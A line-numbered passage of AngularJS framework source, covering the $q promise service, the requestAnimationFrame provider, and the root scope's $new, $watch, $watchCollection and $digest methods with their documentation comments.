11482 }, $exceptionHandler);
11483 }];
11484 }
11485
11486
11487 /**
11488 * Constructs a promise manager.
11489 *
11490 * @param {function(Function)} nextTick Function for executing functions in the next turn.
11491 * @param {function(...*)} exceptionHandler Function into which unexpected exceptions are passed for
11492 * debugging purposes.
11493 * @returns {object} Promise manager.
11494 */
11495 function qFactory(nextTick, exceptionHandler) {
11496
11497 /**
11498 * @ngdoc method
11499 * @name $q#defer
11500 * @kind function
11501 *
11502 * @description
11503 * Creates a `Deferred` object which represents a task which will finish in the future.
11504 *
11505 * @returns {Deferred} Returns a new instance of deferred.
11506 */
11507 var defer = function() {
11508 var pending = [],
11509 value, deferred;
11510
11511 deferred = {
11512
11513 resolve: function(val) {
11514 if (pending) {
11515 var callbacks = pending;
11516 pending = undefined;
11517 value = ref(val);
11518
11519 if (callbacks.length) {
11520 nextTick(function() {
11521 var callback;
11522 for (var i = 0, ii = callbacks.length; i < ii; i++) {
11523 callback = callbacks[i];
11524 value.then(callback[0], callback[1], callback[2]);
11525 }
11526 });
11527 }
11528 }
11529 },
11530
11531
11532 reject: function(reason) {
11533 deferred.resolve(createInternalRejectedPromise(reason));
11534 },
11535
11536
11537 notify: function(progress) {
11538 if (pending) {
11539 var callbacks = pending;
11540
11541 if (pending.length) {
11542 nextTick(function() {
11543 var callback;
11544 for (var i = 0, ii = callbacks.length; i < ii; i++) {
11545 callback = callbacks[i];
11546 callback[2](progress);
11547 }
11548 });
11549 }
11550 }
11551 },
11552
11553
11554 promise: {
11555 then: function(callback, errback, progressback) {
11556 var result = defer();
11557
11558 var wrappedCallback = function(value) {
11559 try {
11560 result.resolve((isFunction(callback) ? callback : defaultCallback)(value));
11561 } catch(e) {
11562 result.reject(e);
11563 exceptionHandler(e);
11564 }
11565 };
11566
11567 var wrappedErrback = function(reason) {
11568 try {
11569 result.resolve((isFunction(errback) ? errback : defaultErrback)(reason));
11570 } catch(e) {
11571 result.reject(e);
11572 exceptionHandler(e);
11573 }
11574 };
11575
11576 var wrappedProgressback = function(progress) {
11577 try {
11578 result.notify((isFunction(progressback) ? progressback : defaultCallback)(progress));
11579 } catch(e) {
11580 exceptionHandler(e);
11581 }
11582 };
11583
11584 if (pending) {
11585 pending.push([wrappedCallback, wrappedErrback, wrappedProgressback]);
11586 } else {
11587 value.then(wrappedCallback, wrappedErrback, wrappedProgressback);
11588 }
11589
11590 return result.promise;
11591 },
11592
11593 "catch": function(callback) {
11594 return this.then(null, callback);
11595 },
11596
11597 "finally": function(callback) {
11598
11599 function makePromise(value, resolved) {
11600 var result = defer();
11601 if (resolved) {
11602 result.resolve(value);
11603 } else {
11604 result.reject(value);
11605 }
11606 return result.promise;
11607 }
11608
11609 function handleCallback(value, isResolved) {
11610 var callbackOutput = null;
11611 try {
11612 callbackOutput = (callback ||defaultCallback)();
11613 } catch(e) {
11614 return makePromise(e, false);
11615 }
11616 if (isPromiseLike(callbackOutput)) {
11617 return callbackOutput.then(function() {
11618 return makePromise(value, isResolved);
11619 }, function(error) {
11620 return makePromise(error, false);
11621 });
11622 } else {
11623 return makePromise(value, isResolved);
11624 }
11625 }
11626
11627 return this.then(function(value) {
11628 return handleCallback(value, true);
11629 }, function(error) {
11630 return handleCallback(error, false);
11631 });
11632 }
11633 }
11634 };
11635
11636 return deferred;
11637 };
11638
11639
11640 var ref = function(value) {
11641 if (isPromiseLike(value)) return value;
11642 return {
11643 then: function(callback) {
11644 var result = defer();
11645 nextTick(function() {
11646 result.resolve(callback(value));
11647 });
11648 return result.promise;
11649 }
11650 };
11651 };
11652
11653
11654 /**
11655 * @ngdoc method
11656 * @name $q#reject
11657 * @kind function
11658 *
11659 * @description
11660 * Creates a promise that is resolved as rejected with the specified `reason`. This api should be
11661 * used to forward rejection in a chain of promises. If you are dealing with the last promise in
11662 * a promise chain, you don't need to worry about it.
11663 *
11664 * When comparing deferreds/promises to the familiar behavior of try/catch/throw, think of
11665 * `reject` as the `throw` keyword in JavaScript. This also means that if you "catch" an error via
11666 * a promise error callback and you want to forward the error to the promise derived from the
11667 * current promise, you have to "rethrow" the error by returning a rejection constructed via
11668 * `reject`.
11669 *
11670 * ```js
11671 * promiseB = promiseA.then(function(result) {
11672 * // success: do something and resolve promiseB
11673 * // with the old or a new result
11674 * return result;
11675 * }, function(reason) {
11676 * // error: handle the error if possible and
11677 * // resolve promiseB with newPromiseOrValue,
11678 * // otherwise forward the rejection to promiseB
11679 * if (canHandle(reason)) {
11680 * // handle the error and recover
11681 * return newPromiseOrValue;
11682 * }
11683 * return $q.reject(reason);
11684 * });
11685 * ```
11686 *
11687 * @param {*} reason Constant, message, exception or an object representing the rejection reason.
11688 * @returns {Promise} Returns a promise that was already resolved as rejected with the `reason`.
11689 */
11690 var reject = function(reason) {
11691 var result = defer();
11692 result.reject(reason);
11693 return result.promise;
11694 };
11695
11696 var createInternalRejectedPromise = function(reason) {
11697 return {
11698 then: function(callback, errback) {
11699 var result = defer();
11700 nextTick(function() {
11701 try {
11702 result.resolve((isFunction(errback) ? errback : defaultErrback)(reason));
11703 } catch(e) {
11704 result.reject(e);
11705 exceptionHandler(e);
11706 }
11707 });
11708 return result.promise;
11709 }
11710 };
11711 };
11712
11713
11714 /**
11715 * @ngdoc method
11716 * @name $q#when
11717 * @kind function
11718 *
11719 * @description
11720 * Wraps an object that might be a value or a (3rd party) then-able promise into a $q promise.
11721 * This is useful when you are dealing with an object that might or might not be a promise, or if
11722 * the promise comes from a source that can't be trusted.
11723 *
11724 * @param {*} value Value or a promise
11725 * @returns {Promise} Returns a promise of the passed value or promise
11726 */
11727 var when = function(value, callback, errback, progressback) {
11728 var result = defer(),
11729 done;
11730
11731 var wrappedCallback = function(value) {
11732 try {
11733 return (isFunction(callback) ? callback : defaultCallback)(value);
11734 } catch (e) {
11735 exceptionHandler(e);
11736 return reject(e);
11737 }
11738 };
11739
11740 var wrappedErrback = function(reason) {
11741 try {
11742 return (isFunction(errback) ? errback : defaultErrback)(reason);
11743 } catch (e) {
11744 exceptionHandler(e);
11745 return reject(e);
11746 }
11747 };
11748
11749 var wrappedProgressback = function(progress) {
11750 try {
11751 return (isFunction(progressback) ? progressback : defaultCallback)(progress);
11752 } catch (e) {
11753 exceptionHandler(e);
11754 }
11755 };
11756
11757 nextTick(function() {
11758 ref(value).then(function(value) {
11759 if (done) return;
11760 done = true;
11761 result.resolve(ref(value).then(wrappedCallback, wrappedErrback, wrappedProgressback));
11762 }, function(reason) {
11763 if (done) return;
11764 done = true;
11765 result.resolve(wrappedErrback(reason));
11766 }, function(progress) {
11767 if (done) return;
11768 result.notify(wrappedProgressback(progress));
11769 });
11770 });
11771
11772 return result.promise;
11773 };
11774
11775
11776 function defaultCallback(value) {
11777 return value;
11778 }
11779
11780
11781 function defaultErrback(reason) {
11782 return reject(reason);
11783 }
11784
11785
11786 /**
11787 * @ngdoc method
11788 * @name $q#all
11789 * @kind function
11790 *
11791 * @description
11792 * Combines multiple promises into a single promise that is resolved when all of the input
11793 * promises are resolved.
11794 *
11795 * @param {Array.<Promise>|Object.<Promise>} promises An array or hash of promises.
11796 * @returns {Promise} Returns a single promise that will be resolved with an array/hash of values,
11797 * each value corresponding to the promise at the same index/key in the `promises` array/hash.
11798 * If any of the promises is resolved with a rejection, this resulting promise will be rejected
11799 * with the same rejection value.
11800 */
11801 function all(promises) {
11802 var deferred = defer(),
11803 counter = 0,
11804 results = isArray(promises) ? [] : {};
11805
11806 forEach(promises, function(promise, key) {
11807 counter++;
11808 ref(promise).then(function(value) {
11809 if (results.hasOwnProperty(key)) return;
11810 results[key] = value;
11811 if (!(--counter)) deferred.resolve(results);
11812 }, function(reason) {
11813 if (results.hasOwnProperty(key)) return;
11814 deferred.reject(reason);
11815 });
11816 });
11817
11818 if (counter === 0) {
11819 deferred.resolve(results);
11820 }
11821
11822 return deferred.promise;
11823 }
11824
11825 return {
11826 defer: defer,
11827 reject: reject,
11828 when: when,
11829 all: all
11830 };
11831 }
11832
11833 function $$RAFProvider(){ //rAF
11834 this.$get = ['$window', '$timeout', function($window, $timeout) {
11835 var requestAnimationFrame = $window.requestAnimationFrame ||
11836 $window.webkitRequestAnimationFrame ||
11837 $window.mozRequestAnimationFrame;
11838
11839 var cancelAnimationFrame = $window.cancelAnimationFrame ||
11840 $window.webkitCancelAnimationFrame ||
11841 $window.mozCancelAnimationFrame ||
11842 $window.webkitCancelRequestAnimationFrame;
11843
11844 var rafSupported = !!requestAnimationFrame;
11845 var raf = rafSupported
11846 ? function(fn) {
11847 var id = requestAnimationFrame(fn);
11848 return function() {
11849 cancelAnimationFrame(id);
11850 };
11851 }
11852 : function(fn) {
11853 var timer = $timeout(fn, 16.66, false); // 1000 / 60 = 16.666
11854 return function() {
11855 $timeout.cancel(timer);
11856 };
11857 };
11858
11859 raf.supported = rafSupported;
11860
11861 return raf;
11862 }];
11863 }
11864
11865 /**
11866 * DESIGN NOTES
11867 *
11868 * The design decisions behind the scope are heavily favored for speed and memory consumption.
11869 *
11870 * The typical use of scope is to watch the expressions, which most of the time return the same
11871 * value as last time so we optimize the operation.
11872 *
11873 * Closures construction is expensive in terms of speed as well as memory:
11874 * - No closures, instead use prototypical inheritance for API
11875 * - Internal state needs to be stored on scope directly, which means that private state is
11876 * exposed as $$____ properties
11877 *
11878 * Loop operations are optimized by using while(count--) { ... }
11879 * - this means that in order to keep the same order of execution as addition we have to add
11880 * items to the array at the beginning (unshift) instead of at the end (push)
11881 *
11882 * Child scopes are created and removed often
11883 * - Using an array would be slow since inserts in middle are expensive so we use linked list
11884 *
11885 * There are few watches then a lot of observers. This is why you don't want the observer to be
11886 * implemented in the same way as watch. Watch requires return of initialization function which
11887 * are expensive to construct.
11888 */
11889
11890
11891 /**
11892 * @ngdoc provider
11893 * @name $rootScopeProvider
11894 * @description
11895 *
11896 * Provider for the $rootScope service.
11897 */
11898
11899 /**
11900 * @ngdoc method
11901 * @name $rootScopeProvider#digestTtl
11902 * @description
11903 *
11904 * Sets the number of `$digest` iterations the scope should attempt to execute before giving up and
11905 * assuming that the model is unstable.
11906 *
11907 * The current default is 10 iterations.
11908 *
11909 * In complex applications it's possible that the dependencies between `$watch`s will result in
11910 * several digest iterations. However if an application needs more than the default 10 digest
11911 * iterations for its model to stabilize then you should investigate what is causing the model to
11912 * continuously change during the digest.
11913 *
11914 * Increasing the TTL could have performance implications, so you should not change it without
11915 * proper justification.
11916 *
11917 * @param {number} limit The number of digest iterations.
11918 */
11919
11920
11921 /**
11922 * @ngdoc service
11923 * @name $rootScope
11924 * @description
11925 *
11926 * Every application has a single root {@link ng.$rootScope.Scope scope}.
11927 * All other scopes are descendant scopes of the root scope. Scopes provide separation
11928 * between the model and the view, via a mechanism for watching the model for changes.
11929 * They also provide an event emission/broadcast and subscription facility. See the
11930 * {@link guide/scope developer guide on scopes}.
11931 */
11932 function $RootScopeProvider(){
11933 var TTL = 10;
11934 var $rootScopeMinErr = minErr('$rootScope');
11935 var lastDirtyWatch = null;
11936
11937 this.digestTtl = function(value) {
11938 if (arguments.length) {
11939 TTL = value;
11940 }
11941 return TTL;
11942 };
11943
11944 this.$get = ['$injector', '$exceptionHandler', '$parse', '$browser',
11945 function( $injector, $exceptionHandler, $parse, $browser) {
11946
11947 /**
11948 * @ngdoc type
11949 * @name $rootScope.Scope
11950 *
11951 * @description
11952 * A root scope can be retrieved using the {@link ng.$rootScope $rootScope} key from the
11953 * {@link auto.$injector $injector}. Child scopes are created using the
11954 * {@link ng.$rootScope.Scope#$new $new()} method. (Most scopes are created automatically when
11955 * compiled HTML template is executed.)
11956 *
11957 * Here is a simple scope snippet to show how you can interact with the scope.
11958 * ```html
11959 * <file src="./test/ng/rootScopeSpec.js" tag="docs1" />
11960 * ```
11961 *
11962 * # Inheritance
11963 * A scope can inherit from a parent scope, as in this example:
11964 * ```js
11965 var parent = $rootScope;
11966 var child = parent.$new();
11967
11968 parent.salutation = "Hello";
11969 child.name = "World";
11970 expect(child.salutation).toEqual('Hello');
11971
11972 child.salutation = "Welcome";
11973 expect(child.salutation).toEqual('Welcome');
11974 expect(parent.salutation).toEqual('Hello');
11975 * ```
11976 *
11977 *
11978 * @param {Object.<string, function()>=} providers Map of service factory which need to be
11979 * provided for the current scope. Defaults to {@link ng}.
11980 * @param {Object.<string, *>=} instanceCache Provides pre-instantiated services which should
11981 * append/override services provided by `providers`. This is handy
11982 * when unit-testing and having the need to override a default
11983 * service.
11984 * @returns {Object} Newly created scope.
11985 *
11986 */
11987 function Scope() {
11988 this.$id = nextUid();
11989 this.$$phase = this.$parent = this.$$watchers =
11990 this.$$nextSibling = this.$$prevSibling =
11991 this.$$childHead = this.$$childTail = null;
11992 this['this'] = this.$root = this;
11993 this.$$destroyed = false;
11994 this.$$asyncQueue = [];
11995 this.$$postDigestQueue = [];
11996 this.$$listeners = {};
11997 this.$$listenerCount = {};
11998 this.$$isolateBindings = {};
11999 }
12000
12001 /**
12002 * @ngdoc property
12003 * @name $rootScope.Scope#$id
12004 * @returns {number} Unique scope ID (monotonically increasing alphanumeric sequence) useful for
12005 * debugging.
12006 */
12007
12008
12009 Scope.prototype = {
12010 constructor: Scope,
12011 /**
12012 * @ngdoc method
12013 * @name $rootScope.Scope#$new
12014 * @kind function
12015 *
12016 * @description
12017 * Creates a new child {@link ng.$rootScope.Scope scope}.
12018 *
12019 * The parent scope will propagate the {@link ng.$rootScope.Scope#$digest $digest()} and
12020 * {@link ng.$rootScope.Scope#$digest $digest()} events. The scope can be removed from the
12021 * scope hierarchy using {@link ng.$rootScope.Scope#$destroy $destroy()}.
12022 *
12023 * {@link ng.$rootScope.Scope#$destroy $destroy()} must be called on a scope when it is
12024 * desired for the scope and its child scopes to be permanently detached from the parent and
12025 * thus stop participating in model change detection and listener notification by invoking.
12026 *
12027 * @param {boolean} isolate If true, then the scope does not prototypically inherit from the
12028 * parent scope. The scope is isolated, as it can not see parent scope properties.
12029 * When creating widgets, it is useful for the widget to not accidentally read parent
12030 * state.
12031 *
12032 * @returns {Object} The newly created child scope.
12033 *
12034 */
12035 $new: function(isolate) {
12036 var ChildScope,
12037 child;
12038
12039 if (isolate) {
12040 child = new Scope();
12041 child.$root = this.$root;
12042 // ensure that there is just one async queue per $rootScope and its children
12043 child.$$asyncQueue = this.$$asyncQueue;
12044 child.$$postDigestQueue = this.$$postDigestQueue;
12045 } else {
12046 // Only create a child scope class if somebody asks for one,
12047 // but cache it to allow the VM to optimize lookups.
12048 if (!this.$$childScopeClass) {
12049 this.$$childScopeClass = function() {
12050 this.$$watchers = this.$$nextSibling =
12051 this.$$childHead = this.$$childTail = null;
12052 this.$$listeners = {};
12053 this.$$listenerCount = {};
12054 this.$id = nextUid();
12055 this.$$childScopeClass = null;
12056 };
12057 this.$$childScopeClass.prototype = this;
12058 }
12059 child = new this.$$childScopeClass();
12060 }
12061 child['this'] = child;
12062 child.$parent = this;
12063 child.$$prevSibling = this.$$childTail;
12064 if (this.$$childHead) {
12065 this.$$childTail.$$nextSibling = child;
12066 this.$$childTail = child;
12067 } else {
12068 this.$$childHead = this.$$childTail = child;
12069 }
12070 return child;
12071 },
12072
12073 /**
12074 * @ngdoc method
12075 * @name $rootScope.Scope#$watch
12076 * @kind function
12077 *
12078 * @description
12079 * Registers a `listener` callback to be executed whenever the `watchExpression` changes.
12080 *
12081 * - The `watchExpression` is called on every call to {@link ng.$rootScope.Scope#$digest
12082 * $digest()} and should return the value that will be watched. (Since
12083 * {@link ng.$rootScope.Scope#$digest $digest()} reruns when it detects changes the
12084 * `watchExpression` can execute multiple times per
12085 * {@link ng.$rootScope.Scope#$digest $digest()} and should be idempotent.)
12086 * - The `listener` is called only when the value from the current `watchExpression` and the
12087 * previous call to `watchExpression` are not equal (with the exception of the initial run,
12088 * see below). Inequality is determined according to reference inequality,
12089 * [strict comparison](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators)
12090 * via the `!==` Javascript operator, unless `objectEquality == true`
12091 * (see next point)
12092 * - When `objectEquality == true`, inequality of the `watchExpression` is determined
12093 * according to the {@link angular.equals} function. To save the value of the object for
12094 * later comparison, the {@link angular.copy} function is used. This therefore means that
12095 * watching complex objects will have adverse memory and performance implications.
12096 * - The watch `listener` may change the model, which may trigger other `listener`s to fire.
12097 * This is achieved by rerunning the watchers until no changes are detected. The rerun
12098 * iteration limit is 10 to prevent an infinite loop deadlock.
12099 *
12100 *
12101 * If you want to be notified whenever {@link ng.$rootScope.Scope#$digest $digest} is called,
12102 * you can register a `watchExpression` function with no `listener`. (Since `watchExpression`
12103 * can execute multiple times per {@link ng.$rootScope.Scope#$digest $digest} cycle when a
12104 * change is detected, be prepared for multiple calls to your listener.)
12105 *
12106 * After a watcher is registered with the scope, the `listener` fn is called asynchronously
12107 * (via {@link ng.$rootScope.Scope#$evalAsync $evalAsync}) to initialize the
12108 * watcher. In rare cases, this is undesirable because the listener is called when the result
12109 * of `watchExpression` didn't change. To detect this scenario within the `listener` fn, you
12110 * can compare the `newVal` and `oldVal`. If these two values are identical (`===`) then the
12111 * listener was called due to initialization.
12112 *
12113 * The example below contains an illustration of using a function as your $watch listener
12114 *
12115 *
12116 * # Example
12117 * ```js
12118 // let's assume that scope was dependency injected as the $rootScope
12119 var scope = $rootScope;
12120 scope.name = 'misko';
12121 scope.counter = 0;
12122
12123 expect(scope.counter).toEqual(0);
12124 scope.$watch('name', function(newValue, oldValue) {
12125 scope.counter = scope.counter + 1;
12126 });
12127 expect(scope.counter).toEqual(0);
12128
12129 scope.$digest();
12130 // the listener is always called during the first $digest loop after it was registered
12131 expect(scope.counter).toEqual(1);
12132
12133 scope.$digest();
12134 // but now it will not be called unless the value changes
12135 expect(scope.counter).toEqual(1);
12136
12137 scope.name = 'adam';
12138 scope.$digest();
12139 expect(scope.counter).toEqual(2);
12140
12141
12142
12143 // Using a listener function
12144 var food;
12145 scope.foodCounter = 0;
12146 expect(scope.foodCounter).toEqual(0);
12147 scope.$watch(
12148 // This is the listener function
12149 function() { return food; },
12150 // This is the change handler
12151 function(newValue, oldValue) {
12152 if ( newValue !== oldValue ) {
12153 // Only increment the counter if the value changed
12154 scope.foodCounter = scope.foodCounter + 1;
12155 }
12156 }
12157 );
12158 // No digest has been run so the counter will be zero
12159 expect(scope.foodCounter).toEqual(0);
12160
12161 // Run the digest but since food has not changed count will still be zero
12162 scope.$digest();
12163 expect(scope.foodCounter).toEqual(0);
12164
12165 // Update food and run digest. Now the counter will increment
12166 food = 'cheeseburger';
12167 scope.$digest();
12168 expect(scope.foodCounter).toEqual(1);
12169
12170 * ```
12171 *
12172 *
12173 *
12174 * @param {(function()|string)} watchExpression Expression that is evaluated on each
12175 * {@link ng.$rootScope.Scope#$digest $digest} cycle. A change in the return value triggers
12176 * a call to the `listener`.
12177 *
12178 * - `string`: Evaluated as {@link guide/expression expression}
12179 * - `function(scope)`: called with current `scope` as a parameter.
12180 * @param {(function()|string)=} listener Callback called whenever the return value of
12181 * the `watchExpression` changes.
12182 *
12183 * - `string`: Evaluated as {@link guide/expression expression}
12184 * - `function(newValue, oldValue, scope)`: called with current and previous values as
12185 * parameters.
12186 *
12187 * @param {boolean=} objectEquality Compare for object equality using {@link angular.equals} instead of
12188 * comparing for reference equality.
12189 * @returns {function()} Returns a deregistration function for this listener.
12190 */
12191 $watch: function(watchExp, listener, objectEquality) {
12192 var scope = this,
12193 get = compileToFn(watchExp, 'watch'),
12194 array = scope.$$watchers,
12195 watcher = {
12196 fn: listener,
12197 last: initWatchVal,
12198 get: get,
12199 exp: watchExp,
12200 eq: !!objectEquality
12201 };
12202
12203 lastDirtyWatch = null;
12204
12205 // in the case user pass string, we need to compile it, do we really need this ?
12206 if (!isFunction(listener)) {
12207 var listenFn = compileToFn(listener || noop, 'listener');
12208 watcher.fn = function(newVal, oldVal, scope) {listenFn(scope);};
12209 }
12210
12211 if (typeof watchExp == 'string' && get.constant) {
12212 var originalFn = watcher.fn;
12213 watcher.fn = function(newVal, oldVal, scope) {
12214 originalFn.call(this, newVal, oldVal, scope);
12215 arrayRemove(array, watcher);
12216 };
12217 }
12218
12219 if (!array) {
12220 array = scope.$$watchers = [];
12221 }
12222 // we use unshift since we use a while loop in $digest for speed.
12223 // the while loop reads in reverse order.
12224 array.unshift(watcher);
12225
12226 return function deregisterWatch() {
12227 arrayRemove(array, watcher);
12228 lastDirtyWatch = null;
12229 };
12230 },
12231
12232
12233 /**
12234 * @ngdoc method
12235 * @name $rootScope.Scope#$watchCollection
12236 * @kind function
12237 *
12238 * @description
12239 * Shallow watches the properties of an object and fires whenever any of the properties change
12240 * (for arrays, this implies watching the array items; for object maps, this implies watching
12241 * the properties). If a change is detected, the `listener` callback is fired.
12242 *
12243 * - The `obj` collection is observed via standard $watch operation and is examined on every
12244 * call to $digest() to see if any items have been added, removed, or moved.
12245 * - The `listener` is called whenever anything within the `obj` has changed. Examples include
12246 * adding, removing, and moving items belonging to an object or array.
12247 *
12248 *
12249 * # Example
12250 * ```js
12251 $scope.names = ['igor', 'matias', 'misko', 'james'];
12252 $scope.dataCount = 4;
12253
12254 $scope.$watchCollection('names', function(newNames, oldNames) {
12255 $scope.dataCount = newNames.length;
12256 });
12257
12258 expect($scope.dataCount).toEqual(4);
12259 $scope.$digest();
12260
12261 //still at 4 ... no changes
12262 expect($scope.dataCount).toEqual(4);
12263
12264 $scope.names.pop();
12265 $scope.$digest();
12266
12267 //now there's been a change
12268 expect($scope.dataCount).toEqual(3);
12269 * ```
12270 *
12271 *
12272 * @param {string|function(scope)} obj Evaluated as {@link guide/expression expression}. The
12273 * expression value should evaluate to an object or an array which is observed on each
12274 * {@link ng.$rootScope.Scope#$digest $digest} cycle. Any shallow change within the
12275 * collection will trigger a call to the `listener`.
12276 *
12277 * @param {function(newCollection, oldCollection, scope)} listener a callback function called
12278 * when a change is detected.
12279 * - The `newCollection` object is the newly modified data obtained from the `obj` expression
12280 * - The `oldCollection` object is a copy of the former collection data.
12281 * Due to performance considerations, the`oldCollection` value is computed only if the
12282 * `listener` function declares two or more arguments.
12283 * - The `scope` argument refers to the current scope.
12284 *
12285 * @returns {function()} Returns a de-registration function for this listener. When the
12286 * de-registration function is executed, the internal watch operation is terminated.
12287 */
12288 $watchCollection: function(obj, listener) {
12289 var self = this;
12290 // the current value, updated on each dirty-check run
12291 var newValue;
12292 // a shallow copy of the newValue from the last dirty-check run,
12293 // updated to match newValue during dirty-check run
12294 var oldValue;
12295 // a shallow copy of the newValue from when the last change happened
12296 var veryOldValue;
12297 // only track veryOldValue if the listener is asking for it
12298 var trackVeryOldValue = (listener.length > 1);
12299 var changeDetected = 0;
12300 var objGetter = $parse(obj);
12301 var internalArray = [];
12302 var internalObject = {};
12303 var initRun = true;
12304 var oldLength = 0;
12305
12306 function $watchCollectionWatch() {
12307 newValue = objGetter(self);
12308 var newLength, key, bothNaN;
12309
12310 if (!isObject(newValue)) { // if primitive
12311 if (oldValue !== newValue) {
12312 oldValue = newValue;
12313 changeDetected++;
12314 }
12315 } else if (isArrayLike(newValue)) {
12316 if (oldValue !== internalArray) {
12317 // we are transitioning from something which was not an array into array.
12318 oldValue = internalArray;
12319 oldLength = oldValue.length = 0;
12320 changeDetected++;
12321 }
12322
12323 newLength = newValue.length;
12324
12325 if (oldLength !== newLength) {
12326 // if lengths do not match we need to trigger change notification
12327 changeDetected++;
12328 oldValue.length = oldLength = newLength;
12329 }
12330 // copy the items to oldValue and look for changes.
12331 for (var i = 0; i < newLength; i++) {
12332 bothNaN = (oldValue[i] !== oldValue[i]) &&
12333 (newValue[i] !== newValue[i]);
12334 if (!bothNaN && (oldValue[i] !== newValue[i])) {
12335 changeDetected++;
12336 oldValue[i] = newValue[i];
12337 }
12338 }
12339 } else {
12340 if (oldValue !== internalObject) {
12341 // we are transitioning from something which was not an object into object.
12342 oldValue = internalObject = {};
12343 oldLength = 0;
12344 changeDetected++;
12345 }
12346 // copy the items to oldValue and look for changes.
12347 newLength = 0;
12348 for (key in newValue) {
12349 if (newValue.hasOwnProperty(key)) {
12350 newLength++;
12351 if (oldValue.hasOwnProperty(key)) {
12352 bothNaN = (oldValue[key] !== oldValue[key]) &&
12353 (newValue[key] !== newValue[key]);
12354 if (!bothNaN && (oldValue[key] !== newValue[key])) {
12355 changeDetected++;
12356 oldValue[key] = newValue[key];
12357 }
12358 } else {
12359 oldLength++;
12360 oldValue[key] = newValue[key];
12361 changeDetected++;
12362 }
12363 }
12364 }
12365 if (oldLength > newLength) {
12366 // we used to have more keys, need to find them and destroy them.
12367 changeDetected++;
12368 for(key in oldValue) {
12369 if (oldValue.hasOwnProperty(key) && !newValue.hasOwnProperty(key)) {
12370 oldLength--;
12371 delete oldValue[key];
12372 }
12373 }
12374 }
12375 }
12376 return changeDetected;
12377 }
12378
12379 function $watchCollectionAction() {
12380 if (initRun) {
12381 initRun = false;
12382 listener(newValue, newValue, self);
12383 } else {
12384 listener(newValue, veryOldValue, self);
12385 }
12386
12387 // make a copy for the next time a collection is changed
12388 if (trackVeryOldValue) {
12389 if (!isObject(newValue)) {
12390 //primitive
12391 veryOldValue = newValue;
12392 } else if (isArrayLike(newValue)) {
12393 veryOldValue = new Array(newValue.length);
12394 for (var i = 0; i < newValue.length; i++) {
12395 veryOldValue[i] = newValue[i];
12396 }
12397 } else { // if object
12398 veryOldValue = {};
12399 for (var key in newValue) {
12400 if (hasOwnProperty.call(newValue, key)) {
12401 veryOldValue[key] = newValue[key];
12402 }
12403 }
12404 }
12405 }
12406 }
12407
12408 return this.$watch($watchCollectionWatch, $watchCollectionAction);
12409 },
12410
12411 /**
12412 * @ngdoc method
12413 * @name $rootScope.Scope#$digest
12414 * @kind function
12415 *
12416 * @description
12417 * Processes all of the {@link ng.$rootScope.Scope#$watch watchers} of the current scope and
12418 * its children. Because a {@link ng.$rootScope.Scope#$watch watcher}'s listener can change
12419 * the model, the `$digest()` keeps calling the {@link ng.$rootScope.Scope#$watch watchers}
12420 * until no more listeners are firing. This means that it is possible to get into an infinite
12421 * loop. This function will throw `'Maximum iteration limit exceeded.'` if the number of
12422 * iterations exceeds 10.
12423 *
12424 * Usually, you don't call `$digest()` directly in
12425 * {@link ng.directive:ngController controllers} or in
12426 * {@link ng.$compileProvider#directive directives}.
12427 * Instead, you should call {@link ng.$rootScope.Scope#$apply $apply()} (typically from within
12428 * a {@link ng.$compileProvider#directive directives}), which will force a `$digest()`.
12429 *
12430 * If you want to be notified whenever `$digest()` is called,
12431 * you can register a `watchExpression` function with
12432 * {@link ng.$rootScope.Scope#$watch $watch()} with no `listener`.
12433 *
12434 * In unit tests, you may need to call `$digest()` to simulate the scope life cycle.
12435 *
12436 * # Example
12437 * ```js
12438 var scope = ...;
12439 scope.name = 'misko';
12440 scope.counter = 0;
12441
12442 expect(scope.counter).toEqual(0);
12443 scope.$watch('name', function(newValue, oldValue) {
12444 scope.counter = scope.counter + 1;
12445 });
12446 expect(scope.counter).toEqual(0);
12447
12448 scope.$digest();
12449 // the listener is always called during the first $digest loop after it was registered
12450 expect(scope.counter).toEqual(1);
12451
12452 scope.$digest();
12453 // but now it will not be called unless the value changes
12454 expect(scope.counter).toEqual(1);
12455
12456 scope.name = 'adam';
12457 scope.$digest();
12458 expect(scope.counter).toEqual(2);
12459 * ```
12460 *
12461 */
12462 $digest: function() {
12463 var watch, value, last,
12464 watchers,
12465 asyncQueue = this.$$asyncQueue,
12466 postDigestQueue = this.$$postDigestQueue,
12467 length,
12468 dirty, ttl = TTL,
12469 next, current, target = this,
12470 watchLog = [],
12471 logIdx, logMsg, asyncTask;
12472
12473 beginPhase('$digest');
12474
12475 lastDirtyWatch = null;
12476
12477 do { // "while dirty" loop
12478 dirty = false;
12479 current = target;
12480
12481 while(asyncQueue.length) {
12482 try {
12483 asyncTask = asyncQueue.shift();
12484 asyncTask.scope.$eval(asyncTask.expression);
12485 } catch (e) {
12486 clearPhase();
12487 $exceptionHandler(e);
12488 }
12489 lastDirtyWatch = null;
12490 }
12491
12492 traverseScopesLoop:
12493 do { // "traverse the scopes" loop
12494 if ((watchers = current.$$watchers)) {
12495 // process our watches
12496 length = watchers.length;
12497 while (length--) {
12498 try {
12499 watch = watchers[length];
12500 // Most common watches are on primitives, in which case we can short
12501 // circuit it with === operator, only when === fails do we use .equals
12502 if (watch) {
12503 if ((value = watch.get(current)) !== (last = watch.last) &&
12504 !(watch.eq
12505 ? equals(value, last)
12506 : (typeof value === 'number' && typeof last === 'number'
12507 && isNaN(value) && isNaN(last)))) {
12508 dirty = true;
12509 lastDirtyWatch = watch;
12510 watch.last = watch.eq ? copy(value, null) : value;
12511 watch.fn(value, ((last === initWatchVal) ? value : last), current);
12512 if (ttl < 5) {
12513 logIdx = 4 - ttl;
12514 if (!watchLog[logIdx]) watchLog[logIdx] = [];
12515 logMsg = (isFunction(watch.exp))
12516 ? 'fn: ' + (watch.exp.name || watch.exp.toString())
12517 : watch.exp;
12518 logMsg += '; newVal: ' + toJson(value) + '; oldVal: ' + toJson(last);
12519 watchLog[logIdx].push(logMsg);
12520 }
12521 } else if (watch === lastDirtyWatch) {
12522 // If the most recently dirty watcher is now clean, short circuit since the remaining watchers
12523 // have already been tested.
12524 dirty = false;
12525 break traverseScopesLoop;
12526 }
12527 }
12528 } catch (e) {
12529 clearPhase();
12530 $exceptionHandler(e);
12531 }
12532 }
12533 }
12534
12535 // Insanity Warning: scope depth-first traversal
12536 // yes, this code is a bit crazy, but it works and we have tests to prove it!
12537 // this piece should be kept in sync with the traversal in $broadcast
12538 if (!(next = (current.$$childHead ||
12539 (current !== target && current.$$nextSibling)))) {
12540 while(current !== target && !(next = current.$$nextSibling)) {
12541 current = current.$parent;
12542 }
12543 }
